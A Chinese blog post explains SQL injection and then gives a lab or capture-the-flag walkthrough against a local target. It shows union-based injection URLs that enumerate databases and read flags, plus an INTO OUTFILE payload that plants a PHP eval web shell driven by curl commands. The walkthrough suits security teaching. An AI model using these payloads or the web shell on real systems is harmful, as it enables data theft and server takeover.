所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的 SQL 语句。具体来说,它是利用现有应用程序,将 SQL 语句注入到后台数据库引擎执行的能 力,它可以通过在 Web 表单中输入 SQL 语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执 行 SQL 语句。
(1)SQL 注入漏洞原理
SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是 SQL 语法里的一些组合,通过执行 SQL 语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
根据相关技术原理,SQL 注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL 注入的产生原因通常表现在以下几方面:不当的类型处理;不安全的数据库配置;不合理的查询集处理;不当的错误处理;转义字符处理不合适;多个提交处理不当。
(2)SQL 注入漏洞对于数据安全的影响
数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
网页篡改:通过操作数据库对特定网页进行篡改。
网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。
服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
破坏硬盘数据,瘫痪全系统。
一些类型的数据库系统能够让 SQL 指令操作文件系统,这使得 SQL 注入的危害被进一步放大。
在 kali 中打开终端使用命令 nmap -sS -n 192.168.12.39,扫描目标服务器的端口开放情况。
使用浏览器访问目标地址 192.168.12.39,打开页面之后是一个轻量级购物网站
任意点击一个商品,发现 url 中有可能使用 id 的数值查询数据库内容。
测试是否存在 SQL 注入,当 url 的最后添加一个单引号时页面内容会发生变化,说明可能存在 SQL 注入。
经过测试,查询有 6 列:当输入 http://192.168.12.39/product.php?id=12’ order by 6%23 时,页面正常显示。
当输入 http://192.168.12.39/product.php?id=12’ order by 7%23 时,页面为
访问 http://192.168.12.39/product.php?id=12' union select 11,22,33,44,55,66%23 得到页面上的显示位如
使用如下 payload,http://192.168.12.39/product.php?id=12' union select 11,22,(select group_concat(schema_name) from information_schema.schemata),44,55,66'%23 获取当前数据库中所有数据库名。
发现存在 flag 数据库,然后获取 flag 数据库的表名 http://192.168.12.39/product.php?id=12' union select 11,22,(select group_concat(table_name)from information_schema.tables where table_schema="flag"),44,55,66'%23
从上面的结果中得知 flags 表中只有 flag 这一个字段。获取 flag 字段中的内容 http://192.168.12.39/product.php?id=12' union select 11,22,(select flag from flag.flags),44,55,66'%23
得到 flag1{d5290250eddba7db80805fda68753c79}。
尝试使用 SQL 注入导出文件来 getshell,访问 url:http://192.168.12.39/product.php?id=12' union select 11,22,'<?
php eval($_POST[cmd]);?>',44,55,66 into outfile '/var/www/html/shell.php'%23
注入完成后,页面没有任何显示,尝试访问 http://192.168.12.39/shell.php 文件。
打开终端在终端中使用 curl 命令进行 POST 传参,在 post 数据中尝试执行 ls 命令,curl -X POST --data”cmd= system(ls);” http://192.168.12.39/shell.php,结果中发现有一个 ffll 文件。
读取该文件 ffll 的内容,在 curl 命令中提交 post 数据,使用 cat 命令查了 ffll,curl -X POST --data”cmd=system(‘cat ffll’);” http://192.168.12.39/shell.php 得到第二个 flag
得出 flag 的值为 flag2{23dd605eaba7b4231ad04f796944b4c0}。
标签:12.39,web,http,数据库,192.168,安全,SQL,php From: https://www.cnblogs.com/linjuan/p/17804418.html